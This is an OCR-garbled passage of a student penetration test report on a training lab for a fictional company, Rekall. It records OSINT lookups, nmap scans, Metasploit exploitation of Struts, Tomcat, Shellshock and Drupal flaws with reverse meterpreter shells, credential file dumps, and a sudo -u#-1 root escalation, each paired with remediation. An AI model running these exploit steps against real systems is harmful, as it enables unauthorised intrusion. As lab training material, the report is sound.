images on the VR Planning page (each popped out with a gid= and pid=.... | didn’t know what else to
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try here. | clicked on every decorative element to see if any pointed to a file, and | wonder if there
was a file called on one of the pages | didn’t access in other exploits. I'd like to see more examples
of this working. Web resources were scarce for this exploit.

9. OSINT Sensitive Data Exposure

Day 2: Flag 1

Vulnerability 9

Findings

Title OSINT oversharing
Type (Web app / | Linux OS
Linux OS /
Windows OS)
Risk Rating Medium
iy This publicly available data includes sensitive data: not only two flags, but also
Description ) . .
an important username that we will be able to exploit later.
Images See below

Affected Hosts

totalrekall.xyz

Remediation

Perform periodic OSINT audits on your own organization to ensure that
sensitive data is not being shared.

Technique: HKTSTC visited osintframework.com and selected Domain Name — Whois Records —

Domain Dossier:

33




Rekall

osintframework.com

T 8 @ &

E D

K

@

Sl 7 myne

Penetration Test Report

OSINT Framework

‘Whois Records )

Subdomains

Discovery O

Certificate Search ()

PassiveDNS @)

Reputation O

Usemame O Domain Blacklists

Email Address ) Typosquatting O

Domain Name () Analytics O

IP Address © URL Expanders )

Images / Videos / Docs Q) Change Detection @

Social Networks © Social Analysis O
Instant Messaging )

DNSSEC )

People Search Engines ()
Dating )

Telephone Numbers )
Public Records O
Business Records ()
Transportation ()
Geolocafion Tools / Maps Q)
Search Engines O
Forums / Blogs / IRC @
Archives @

Language Transtation ()
Metadata )

Mobile Emulation )
Terrorism )

Dark Web ()

Digital Currency O
Classifieds )

Encoding { Decoding (O
Tools O

Walicious File Analysis )
Exploits & Advisories )
Threat Intelligence (O
OpSecd
Documentation )
Training O

Cloud Resources O
Vulnerabilities )

Tools )

OSINT Framework O

() Domain Dossier

() domainiQ

() DomainTools Whois
() Domain Big Data
() Whoisology

(O Whois ARIN

{C) DNSstuff

() Rabtex (R}

() Domaincrawler.com
(O Markhonitor Whois Search
() easyWhois

() Website Informer
) Whois

(O Whois AMPed

(O ViewDNS.info

(©) Domainsdh.info

) IP2ZWHOIS

On that screen, we entered totalrekall.xyz into the domain form:

= C o

centralops.net

domain or IP address = totalrekall.xyz
domain whois record DNS records traceroute
network whois record service scan 9oy

user: anonymous [40.76.144 168]
balance: 46 units
log in | account info

[CETT TNSE e

Do you see Whois records that are missing contact information?
Read about reduced Whois data due to the GDPR.

Address lookup

canonical name totalrekall.xyz.
aliases

addresses 34.102.136.180

- end --
URL for this output | return to CentralOps.net, a service of Hexilion
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Then we selected the domain whois record option:

3 Kali on ML-REFVM-197105 - Virtual Machine Connection
File Acion Media Clipboard View Help

@O | nmp|fo>E

fo bur rtBu l main... Cg gterminal

NT Frame

¢ @

Exploit-DB @ Nessus

domain or IP address  totalrekallxyz

«domain whois record DNS records traceroute
network whois record service scan L )

user: anonymous [40.76.144.168]
balance: 45 units

log in | account info [Lentraropsnen

Do you see Whois records that are missing contact information?
Read about reduced Whois data due to the GDPR

Address lookup
canonical name totalrekall.xyz.
aliases

addresses 34.102.136.180

Domain Whois record
Queried whois.nic.xyz with "totalrekall.xy:

Domain Name: TOTALREKALL.XYZ

Registry Domain ID: D273189417-CNIC

Registrar WHOIS Server: whois.godaddy.com

Registrar URL: Nttps://ww.godaddy.com/

Updated Date: 2022-03-11T15:12:32.0Z

Creation Date: 2022-02-02719:16:16.0Z

Registry Expiry Date: 2023-02-02723:59:59.0Z

Registrar: Go Daddy, LLC

Registrar IANA ID: 146

Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited

Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited

Registrant Organization:

Registrant State/Province: Georgia

Registrant Country: US

Registrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on h
Admin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to
Tech Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to
Name Server: NS51.DOMAINCONTROL.COM

Name Serve NS52. DOMAINCONTROL . COM

DNSSEC: unsigned

Billing Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how
Registrar Abuse Contact Email: abuse@godaddy.com

Registrar Abuse Contact Phone: +1.4885058800

URL of the ICANN Whois Inaccuracy Complaint Ferm: https://www.icann.org/wicf/

>>> Last update of WHOIS database: 2822-87-14T12:09:12.8Z <<<

Queried whois.godaddy.com with "totalrekall.xyz"...

We found the flag midway down that page:
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-

»»> Last update of WHOIS databasé: 2@ﬁ2-@?-14T12:BQ:1§.@Z <

Queried whois.godaddy.com with "totalrekall.xyz"...

Domain Mame: totalrekall.xyz

Registry Domain ID: D273189417-CNIC

Registrar WHOIS Server: whois.godaddy.com
Registrar URL: https://www.godaddy.com

Updated Date: 2022-82-02T19:16:19Z2

Creation Date: 2822-02-02T19:16:167

Registrar Registration Expiration Date: 2023-02-02T23:59:587
Registrar: GoDaddy.com, LLC

Registrar IANA ID: 146

Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Registry Registrant ID: CR534509109

Registrant Mame: sshUser alice

Registrant Organization:

Registrant Street: [JEEGEMGESEE Flagl

Registrant City: Atlanta

Registrant State/Province: Georgia

Registrant Postal Code: 30309

Registrant Country: US

Registrant Phone: +1.7702229999

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email: jlow@2u.com

Registry Admin ID: CR534509111

Admin Name: sshUser alice

Admin Organization:

Admin Street: h8s692hskasd Flagl

Admin City: Atlanta

Admin State/Province: Georgla

Admin Postal Code: 30309

Admin Country: US

Admin Phone: +1.7702229999

Admin Phone Ext:

Admin Fax:

Admin Fax Ext:

Admin Email: jlow@2u.com

Registry Tech ID: CR534509110

Tech Name: sshUser alice

Tech Organization:

Tech Street: h8s692hskasd Flagl

Tech City: Atlanta

Tech States/Province: Georgia

Tech Postal Code: 30309

Tech Country: US

Tech Phone: +1.77@2229993

Tech Phone Ext:

Tech Fax:

Tech Fax Ext:

Tech Email: jlow@2u.com

Name Server: NS51.DOMAINCONTROL.COM

Name Serwver: NS52.DOMAINCONTROL.COM

Note that the Registrant here is sshUser alice; we will use this to exploit one of the machines for Day
2: Flag 12 below.

Day 2: Flag 2

Technique: On the same page, we find the IP address of the totalrekall.xyz web server (which is flag

2):
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Address lookup

canonical name totalrekall.xyz.
aliases

addresses 34.102.136.180

10. Website Security Certificate Vulnerability
Day 2: Flag 3

Vulnerability 10 Findings

Title Security certificate vulnerability on website

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Low

Website security certificates must be from a trusted source and kept up to

Description date.

Images See below

Affected Hosts | totalrekall.xyz

Remediation Keep certificate renewal on the organizational security planning calendar.

Technique: HKTSTC visited crt.sh and searched for totalrekall.xyz and found the following
flag/vulnerability:

Criteria Type: Identity Match: ILIKE Search: ‘totalrekall.xyz'

Certificates cri.shiD  Logged At 1 NotBefore NotAfter Common Name Matching Identities Issuer Name

6095738637 20220202 2022-02-02 2022-05-03 flag3-s7euwehd.totalrekall.xyz flag3 SaIEAL totalrekall.kyz C=AT, O=ZeroSSL, CN=ZeroSSL RSA Domain Secure Site CA

6095738716 2022-02-02 2022-02-02 2022-05-03 flag3-s7euwehd.totalrekall.xyz flag3-s7euwehd.totalrekall.xyz C=AT, O=ZeroSSL, CN=ZeroSSL RSA Domain Secure Site CA
6095204253 2022-02-02 2022-02-02 2022-05-03 totalrekall.xyz totalrekall.xyz C=AT, 0=ZeroSSL, CN=ZeroSSL RSA Domain Secure Site CA

www.totalrekall.xyz

6095204153 2022-02-02 2022-02-02 2022-05-03 totalrekall.xyz totalrekall.xyz C=AT, 0=ZeroSSL, CN=ZeroSSL RSA Domain Secure Site CA

www.totalrekall.xyz

11. Exposed Network Vulnerabilities
Day 2: Flag 4
37



Rekall Penetration Test Report

Vulnerability 11 Findings

Title Network vulnerabilities exposed

Type (Web app / | Linux OS
Linux OS /
Windows OS)

Risk Rating Medium

More publicly available data gives us an enumeration of devices on the
Description network as well as known vulnerabilities to which those machines are
exposed.

Images See below

Affected Hosts | 192.168.13.0/24

Include vulnerability scans of your own organization in your periodic
maintenance schedule and update with known patches. The vulnerability here
is less the information publicly available than that the known vulnerabilities on
this network have not been patched.

Remediation

Technique: HKTSTC ran a basic nmap scan on Rekall’s IP network range:
nmap 192.168.13.0/24
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? Kali on ML-REFVM-157105 - Virtual Machine Connection

File Action Media Clipboard View Help

W@ O | mis|fy o5

% burp-StartBurp venger Hunt - ... Cg gterminal

-@7-14 19:39 EDT

Host is up
Not shown:
PORT
)/tcp open
.

MAC Address:

Nmap scan repor

Host is up ( g

Not shown: 999 clos

PORT STATE SERVICE
@/tcp open http

MAC Address:

Nmap scan report for 192.168.1
Host is up (©.0000080s latency)
Not shown: 999 tcp ports
PORT STATE SERVICE

/tcp open
MAC Address:

Nmap scan repor

Host is up (@

Not shown: 999

PORT  STATE SERVICE
/tcp open http

MAC Address:

Nmap scan repor r 192.1

Host is up (@.0000080s latency
Not shown: 999 clc d tcp ports
PORT STATE SERVICE

22/tcp open ssh

MAC Address:

Nmap n repor
Host is up (0.0
Not shown: 995
PORT STATE
open

scanned in seconds

We found 5 machines on the network: 192.168.13.10, 192.168.13.11, 192.168.13.12, 192.168.13.13,
and 192.168.13.14. (Flag 4 is simply the number 5.)

Day 2: Flag 5

Technique: HKTSTC did a more intense nmap scan:
nmap -A 192.168.13.0/24
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19:59 EDT
Host 1is up (¢
Not shown: 993
PORT STATE
8 Jtcp open
jp-methods:
@/ tcp open

v (Protocol vl
leld response fo
HpﬂLhe Tomcat/Coyote JSP
_http-server-header: Apache-Coyote/1.1
_http-open-pro Proxy might be redirecting
_http-title: Apache Tomc
http +qu1~0n Apac

engine 1.1

regues

Jo:linux:linux_kernel: & kernel:5
Linux &4.15 — 5.6

1 hop

D.-—- I'_ F'EE ‘--p,;
05 details

Network Distance:

cpe:/o:linux: linux_

TRACEROUTE

HOP RTT ADDPE”

1 @.85 ms 192.168

192.16

Nmap scan

report for
Host is up (@. i

shown: 999 110;ﬂd TLD meT (reset)

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| _ http-server-header: Apache/2.4.7 (Ubuntu)
|_http—T1T1n » Ubuntu Default Page:

MAC Addres -:AJ:HD'HE [(Unknow

Not

It works

Running: Llnu-

05 CPE: Lpe.;o.llnuh.linux_kernel:h
0S details: Linux 4.15 - 5.6
Network Distance: 1 hop

cpe:fo:linux:linux_kernel:5

TRACEROUTE

HOP RTT ADDRESS
1 .82 ms 192.168.13.11

Nmap scan report for 192.168.13.12
Host is up (©.000014s latency).

Not shown: 999 closed tcp ports (re

i

set)

Penetration Test Report

e OPTION request

We found that machine 192.168.13.13 is running web application Drupal 8. (Flag 5 is the machine
number 13.) We will be able to exploit this further from a known weakness in Drupal 8.
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Nmap scan report for 192.168.

Host is up ( 21s latency).

Mot shown: 999 closed tcp ports (reset)

PORT STATE SERVICE VERSION

8@/tcp open http Apache httpd 2.4.25 ((Debian))
_http-server-header: Apache/2.4.25 (Debian)

_http-title: Home | Drupal CVE-2019-6340

http-robots.txt: 22 disallowed entries (15 shown)

fcore/ /profile 'README. txt /web.config /a

Jcomment/reply/ /filter/tips /node/add/ , g
fuser/password/ /user/login/ /user/logout/ /index.php/admin/
_/index.php/comment/reply/

|_http-generator: Drupal 8 (https://www.drupal.org)

MAC Address: @2:42:CO:AS:8D:0D (Unknown)

Device type: general purpose

Running: Linux &.X|5.X

S CPE: cpe:/o:linux:Llinux_kernel:4 cpe:/fo:linux:linux_kernel:5
05 details: Linux 4.15 - 5.6

Network Distance: 1 hop

12. Apache Struts Jakarta Multipart Parser RCE Vulnerability
Day 2: Flag 6

Vulnerability 12 Findings

Title Remote code execution vulnerability from Apache Struts

Type (Web app / | Linux OS
Linux OS/
Windows OS)

Risk Rating Critical 10.0

The Jakarta Multipart parser in Apache Struts versions 2.3.x before 2.3.32 and
2.5.x before 2.5.10.1 has incorrect exception handling and error-message
Description generation, which allows attackers to execute arbitrary commands via HTTP
header, CVE-2017-5638 (CVE Details, n.d.). This vulnerability has a complete
impact on confidentiality, integrity, and availability.

Images See below

Affected Hosts | 192.168.13.12

Update the version of Apache running on this machine and be sure to install all

Remediation available patches.

Technique: HKTSTC ran a Nessus Basic Network Scan on machine 192.168.13.12 and found one
critical vulnerability:
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ork

osts 1 Vulnerabilities 12 History 1

Filter ~

B Sevv Score n Family 4 Count v Scan Details

CRITICAL.

Firewalls.

General

Port scanners

This is the Apache Struts Jakarta Multipart Parser remote control vulnerability, ID number 97610
(Flag 6) which we will exploit.

Vulnerabilities 12 History 1

<rmcaL - Apache Struts 2.3.5 - 2.3.31/ 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote) Plugin Details

Description

solution

Risk Information
See Also
Risk Fa ical

CVSS v3.0 Base Score 10.0

Day 2: Flag 10

Technique: HKTSTC did some research on the Apache 2.4.x vulnerabilities and found a
woman-in-the-middle vulnerability called httpoxy (Vulners.com 2017) but struggled to find a
Metasploit exploit we could use (infosecmatter.com, n.d.).

Thus we turned to further research on the Apache Struts Jakarta Multipart Parser (which we
admittedly should have tried right away) and found a Metasploit module for OGNL injection (Rapid7,
n.d.). This is the exploit we successfully used to open a meterpreter shell on 192.168.13.12 with
LHOST set to our local host 192.168.13.1:
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Matching Modules

Name Disclosure Date Rank Description
EXploit/multi/REEp/SErUESZ_multi_eval_ognl 2020-09-14 X C Apache Struts 2 Forced Multi OGNL Evaluation
exploit/multi/http/struts2_namespace_ognl 2018-08-22 excell Apache Struts 2 Namespace Redirect OGNL Inmjection
exploit/multi/http/struts2_rest_xstream 2017-09-085 lent Apache Struts 2 REST Plugin XStream RCE
exploit/multi/http/struts2 code_exec_showcase 2017-07-07 lent Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
exploit/multi/http/struts2 content_type_ognl 2017-03-07 excellent Apache Struts Jakarta Multipart Parser OGML Injection

Interact with a module by name or index. For example i

msf6 > use 4
No payleoad configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit( ) > options

Module options (exploit/multi/http/struts2_content_type_ognl):

Name Current Setting Reguired Description
Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 The target port (TCP)

S51 false Negotiate S5L/TLS for outgoing connections

TARGETURI /struts2-showcase/ The path to a struts application action

VHOST HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
LHOST 172.23.206.116 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

@ Universal

msf6 exploit( ) > set rhosts 192.168.13.12
rhosts = 192.168.13.12
i ) > set lhost 192.168.13.1

msf6 exploit( ) > run

Started reverse TCP handler on 192.168.13.1:4444
Sending stage (3012548 bytes) to 192.168.13.12
Meterpreter session 1 opened (192.168.13.1:4444 — 192.168.13.12:51636 ) at 2022-07-14 21:59:27 -0400
Exploit aborted due to failure: bad-config: Server returned HTTP 404, please double check TARGETURI
Exploit completed, but no session was created.

msf6 exploit( ) > sessions -i 1
Starting interaction with 1..

meterpreter > |

meterpreter > upload /root/flagisinThisfile.7z
uploading : /root/flagisinThisfile.7z — flagisinThisfile.7z
Uploaded -1.00 B of 194.00 B (-0.52%): /root/flagisinThisfile.7z — flagisinThisfile.7z
uploaded : /root/flagisinThisfile.7z — flagisinThisfile.7z
meterpreter > exit
Shutting down Meterpreter ...

192.168.13.12 - Meterpreter session 1 closed. Reason: Died
msf6 exploit( ) > 1s
exec-ils

Desktop Documents Downloads file2 file3 flagfile flagisinThisfile.7z flag.php flag.php.jpg flag.php.png hash.txt LinEnum.sh Music Pictures
msf6 exploit( ) » search post/multi/manage/zip

Matching Modules

# HName Disclosure Date Rank Check Description

0 post/multi/manage/zip normal No Multi Manage File Compressor

Interact with a module by name or index. For example info

msf6 exploit( ) >use 8
msf6 post( ) > options

Module options (post/multi/manage/zip):

Name Current Setting Required Description
DESTINATION yes The destination path

SESSION yes The session to run this module on
SOURCE yes The directory or file to compress

msf6 post( ) » 7z x flagisinThisfile.7z
exec: 7z x flagisinThisfile.7z

After some fits and starts, we managed to use the command ‘upload flagisinThisfile.7z’ and
backgrounded the meterpreter shell to get back into msfconsole. In msfconsole, we loaded the
post/multi/manage/zip module and unzipped the folder into three files. The one named flagfile.txt had
our Flag 10:
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7-Zip [64] 16.82 : Copyright {c) 1999-2016 Igor Pavlov : 2816-85-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utfl6=0on,HugeFiles=on,64 bits,2 CPUs In

Scanning the drive for archives:
1 file, 194 bytes (1 KiB)

Extracting archive: flagisinThisfile.7z
Path = flagisinThisfile.7z

Type 7z

Physical Size = 194

Headers Size = 167

Method = LZMAZ2:12

Solid = -

Blocks = 1

Would you like to replace the existing
Path: Sfile2
Size: B bytes
Modified: 2022-02-08 @9:4@:53
with the file from archive:
Path: file2
Size: ® bytes
Modified: 2022-02-08 @9:4@:53
? {¥)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)luit? ¥

Would you like to replace the existing file:
Path: Afiled
Size: ? bvtes
Modified: 2022-02-08 @89:4@:53
with the file from archive:
Path: file3
Size: ? bvtes
Modified: 2022-02-08 @89:4@:53
? {¥)es / (N)o / (A)lways / (S)kip all / Af{u)to rename all / (Q)luit? ¥

Would you like to replace the existing file:
Path: ./flagfile
Size: 23 bytes (1 KiB)
Modified: 2022-02-08 @9:4@:34
with the file from archive:
Path: flagfile
Size: 23 bytes (1 KiB)
Modified: 2022-02-08 @09:49:34
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? ¥

Everything is 0Ok

Files: 3

Size: 23

Compressed: 194

msf6 post( )} = cat flagfile
exec: cat flagfile

flag 18 is wjasdufsdkg
post( ) > 1

s: Running |
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Our graders might be interested to know that this very file, unzipped was on the Day 2 build.
HKTSTC tried to use it as that day’s Flag 10 with no luck of course.

13. Apache Tomcat RCE Vulnerability

Day 2: Flag 7
Vulnerability 13 Findings
Title Remote code execution vulnerability from Apache Tomcat

Type (Web app / | Linux OS

Linux OS /
Windows OS)

Risk Rating
When running this version of Apache Tomcat with HTTP PUTs enabled, it is

Description possible to upload a JSP file to the server and thereby execute code;

P CVE-2017-12617 (CVE Details, n.d.). This vulnerability has a partial impact on
confidentiality, integrity, and availability.
Images See below

Affected Hosts | 192.168.13.10

Update the version of Apache running on this machine and be sure to install all

Remediation available patches.

Technique: From our intense nmap scan, HKTSTC suspected that machine 192.168.13.10 was
vulnerable to an Apache Tomcat exploit on the open port 8009 running the Apache Jserv Protocol.
We Metasploit and tried the exploit/multi/http/tomcat_mgr_deploy module (Horn 2011):

Current Setting Required
no ; for the s username
no
d)

rk/wiki/Using-Metasploit

_'Exp101t target:

Id Name

a Automatic

loit(
-

When that exploit was not successful, we tried the exploit/multi/http/tomcat_jsp_upload_bypass,
which we probably should have tried first since it explicitly mentioned RCE:
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> search mult

/multi/http/tomcat mgr
ulti/http/tomcat mgr up
/multi/http/tomeat_jsp_upl

t with a module by name or index

iki/Using-Metasploit
: S for outgoin
TARGETURI / : The URI path of the Tomc
VHOST HTTP
d options (generic se_tcp):
Name Current Setting Required Description

LHOST 6.116
LPORT

The 1i
The lis

s
s

set rhosts 19
set lhost 1!
run

192.168.13.1:4444

Loﬁmand shell session 1 opened (19 1:4544 — 192,168.13.10:51136

That exploit was successful and opened a shell session with machine 192.168.13.10 as root. Once
in this machine, we looked in the root folder and did a search for hidden files in that folder:
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PP PE PRSP

= e

=

[#4]

.dockerenv
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc

cd root

Bksbsbhss

[ % T N TR SR N B SR X IO L [ Sy Wy Wy

Pd Gad = B BJ RJ

4B96

Jul
Jul
Jul
May
Mar
Jul
Jul

47

home
lib
lib64
media
mnt
opt
proc
root
run
sbin
STV
Sys
tmp
usr
var
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In /root, we found hidden file flag7.txt and read it to get the following flag:

§ .tlag7.txt
.gnupg
.profile

t .flag7.txt

|

14. Bash Shell “Shellshock” Vulnerability
Day 2: Flag 8

Vulnerability 14 Findings

Title Bash shell vulnerability from Apache HTTP server

Type (Web app / | Linux OS
Linux OS/
Windows OS)

Risk Rating Critical 10.0

This version of GNU Bash allows remote attackers to execute arbitrary code
via a crafter environment, among other vectors, in the mod_cgi module in the

Description | \oache HTTP Server. CVE-2014-7169 (CVE Details 2021) fully impacting
confidentiality, integrity, and availability.
Images See below

Affected Hosts | 192.168.13.11

Remediation Install all bash security updates (CVE Details 2021).

Technique: Following a hint on the flags page, HKTSTC researched Shocker on the website
medium.com (Fell 2020) and found the Metasploit module
exploit/multi/http/apache_mod_cgi_bash_env_exec with the TARGETURI set to /cgi-bin/user.sh and
LHOST set to our local machine 192.168.13.1, and we successfully ran the exploit to open a
meterpreter shell to the 192.168.13.11 machine:
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RPATH
RPORT

TIMEOUT
URIPATH
VHOST

5 O O M MMM M
wwmonwnw

/meterpreter/reverse

Name Curr: ing Required

LHOST 06.116
LPORT

11

gi-bin/shockme

b

scription

in of fo
rget host(s),

t to listen on.
L/TLS for outgoing connections
1t is randomly

response timeout (seconds)
for this loit ( ult is random}

Penetration Test Report

Once in, we opened a shell and attempted to view the sudoers file. We did not have sufficient
privileges to open that file, we were able to list the files in the directory /etc/vin/sudoers.d, and one of
the file names in that directory was our flag 8:
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We set _

nano sudoers

/bin/sh: 16: nano: not found

cat sudoerrs

cat: sudoerrs: No such file or directory
cat sudoers

>

#

#
#
#
#
#
#

#

This file MUST be edited with the 'visudo' command as root.

Please consider adding local content in /etc/sudoers.d/ instead of
directly modifying this file.

See the man page for details on how to write a sudoers file.

Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin: /usr/sbin: /usr/bin:/sbin:/bin:/snap/bin"

#

#

#

#

Host alias specification
User alias specification
Cmnd alias specification

User privilege specification

root ALL=(ALL:ALL) ALL

#

Members of the admin group may gain root privileges

%admin ALL=(ALL) ALL

i

Allow members of group sudo to execute any command

%sudo ALL=(ALL:ALL) ALL

#

See sudoers(5) for more information on "#include” directives:

#includedir /etc/sudoers.d
flag8-9dnx5shdf5 ALL=(ALL:ALL) /usr/bin/less

Day 2: Flag 9

Technique: We did have sufficient privileges to be able to view the /etc/passwd file, which contained

flag 9:

# Allow members of group sudo to execute any command
#sudo AlLL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

flag8-9dnx5shdf5 ALL=(ALL:ALL) Sfusr/bin/less

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:xX:3:3:sys:/dev:/usr/sbin/nolegin
SYNC:X:4:65534:5ync:/bin: /bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: fusr/shin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
ww-data:x:33:33 www-data:/var/ww: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/mologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534 :nobody: /nonexistent:/usr/sbin/nologin
libuuid:x:100:101:: /var/1ib/1ibuuid:
syslog:x:101:104 :: /home/syslog:/bin/false
flag9-wudks8f7sd:x:1000:10080 :: /home/flag9-wudks8f7sd:
alice:x:1001:1001 :: /home/alice:
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15. Drupal RCE Vulnerability

Day 2: Flag 11
Vulnerability 15 Findings
Title Remote Code Execution Vulnerability from Drupal

Type (Web app / | Linux OS
Linux OS /
Windows OS)

Risk Rating

Drupal RESTful Web Services has a PHP unserialize() vulnerability that can
be exploited by sending a crafted request to the /node REST endpoint.
Description CVE-2019-6340 (Mattsson and Reiss, n.d.) and (CVEmitre.org, n.d.). This
vulnerability has a partial impact on confidentiality, integrity, and availability
(CVE Details 2020).

Images See below

Affected Hosts | 192.168.13.13

Disable POST, PATCH, PUT, and GET in Drupal or update the version of

Remediation
Drupal.

Technique: HKTSTC researched Drupal vulnerabilities and found information in several sources
about Drupalgetddon2 Remote Code Execution (Rojo 2018) and (O'Reilly, n.d.). This led us to try
Metasploit module exploit/unix/webapp/drupal_drupalgeddon2, which was not sufficient. However,
when we searched for drupal, we found another exploit that explicitly mentioned web services and
RCE, namely exploit/unix/webapp/drupal_restws_unserialize, the Drupal RESTful Web Services
unserialize() RCE.

#  Name Description

o exploit/unix/webapp/drupal_
1

exploit/unix/webapp/drupal_
2 exploit/unix/webapp/drupal_
3 expleit/unix/webapp/drupal_

Interact with a module by name or index. For example inf

The only options we needed to set were the RHOSTS to 192.168.13.13 and the LHOST to our local
host 192.168.13.1, and exploit was successful:
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_OUTPUT
METHOD
NODE
p .

LHOST
LPORT

> options

IS_unse

Dump p 1
HTTP method
Node ID to

HTTP server

tcp):

ription

erse TCP handler on 192.1 tLLLL

sihe

Status: Running

getuid

Status: Running

( Ay lse”
http
ould not be

riali

ommand out
to use (

rtual host

(an inter

We see that the user/flag 11 is www-data.

16. Sudo Vulnerability

Day 2: Flag 12

Vulnerability 16

put

CH,

Findings

PUT)

Penetration Test Report

Title

Sudo vulnerability

Type (Web app /
Linux OS /
Windows OS)

Linux OS

Risk Rating

Critical 9.0
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In older versions of sudo, an attacker with access to a RunAS sudoer account
can bypass blacklists (such as permissions being set to !root, or not root) and
Description cause incorrect logging by invoking sudo with a non-existent user ID (such as
-1). CVE-2019-14287 (NIST 2019). This vulnerability has a complete impact on
confidentiality, integrity, and availability (CVE Details 2022).

Images See below

Affected Hosts | 192.168.13.14

Remediation Update sudo version on this machine.

Technique: Recall that when we did a domain whois lookup for Day 2: Flag 1, we found the
registrant was sshUser alice. HKTSTC established an ssh connection with the command
ssh alice@192.168.13.14

and tried a few passwords. The password alice worked.

File Actions Edit View Help

168.13.1&
- 14's password:
Welcome to Ubuntu 18.84.6 LTS (GNU/Linux 5.10.08-kali3-amd64 x86_64)

*# Documentation: I 'Yhelp.ubuntu.com

* Management: I landscape.canonic

* Support: i

This system has been minimized by remo

not required on a system that users do not log 1

Ubuntu comes with ABSOLUTELY NO WARRANTY, e exte permitted by
applicable law.

The programs included with the Ubuntu system ar

the exact distribution terms for e
individual files in fusr/share/doc,

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Jul 15 @: (01 2022 from 192.168.13.1
Could not chdir to home directory /home/alice: such file or directory

$ 1

We then followed up with some web research on the NIST database cited above and (Kumar 2019)
and (Tsarouchas 2021) to understand this vulnerability. Alice fit the profile of a user we could use in
this exploit since we needed someone with their /etc/sudoers policy configuration set to

username = (ALL, 'root) <command>, and Alice had that setting for all commands, which we found
by listing her sudo privileges with the command:

sudo -
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/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bi

User alice may run th Llowing commands on e37d694a490e:
(ALL, !root) NOPA tOALL

L) |

We initially tried to edit our sudo privileges but then realized that we could run the exploit to just
switch user to root:
sudo -u#-1 su root

, sudo -uf-1 visudo

i o: no editor found (editor path = fusr/bin/editor)
uf-1 su root

rootde37d694as00e: /i ||

2 Status: Running |

Once that was successful, we navigated to the /root directory and searched for files and found
flag12.txt. A quick ‘cat flag12.txt’ gave us the final flag for Day 2:

root@e37d694a490e: /# cd /root
rootq d694a490e: ~# 1s

rootd d694a49@e:~# cat flagl?.txt

d7sdfksdf3gs

root@e37d694as490e: ~i ||

17. Sensitive Data on Employees Public GitHub Repository

and Weak Password
Day 3: Flag 1

Vulnerability 17 Findings

Title Sensitive data exposure by employee

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Medium

Employees of the company are encouraged to use public repositories to
enhance their careers, but sensitive data from Rekall should not be stored in
Description those spaces, particularly not usernames and passwords. Additionally, Rekall
needs a stronger password policy to ensure that if such sensitive data does
leak, that passwords will be hard to crack and will change often.
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Images See below

Affected Hosts | GitHub.com/totalrekall

Remove sensitive data from GitHub; have user trivera change their password,

Remediation and set a better password policy.

Technique: HKTSTC searched GitHub for totalrekall and had no success:

github.com

O Product Team Enterprise Explore Marketplace Pricing totalrekall Sign in

. Q totalrekall -
AN
™,

__

github.com/tot:
O Product Team Enterprise Explore Marketplace Pricing Signin  Sign up

[0 Overview [] R

Popular repositories

6 contributions in the las

Jul Aug

Contribution activity

July 2022

When we clicked on site, we found the following files:
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O Product Team Enterprise Explore Marketplace Pricing

P main ~ F 1 brancl

. totalrekall Update README.md

ol

README.md

README.md

Opening the file xampp.users gave us the following username:password hash:

ampp.users at mai.
-» Windows Scavenger Hur X | ) GitHub - Mancini-Rafael, x | ) site/xampp.usersatmalr X -+
< © @& hitps://github.com/totalre

Exploit-DB @) Nessus

O Product Team Enterprise Explore Marketplace Pricing

§9 Pull requ fH Projects

¥ main ~ site / xampp.users

@ totalrekall A

We saved that hash in a file named hash.txt:
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File Actions Edit View Help

GNU nano 5.4
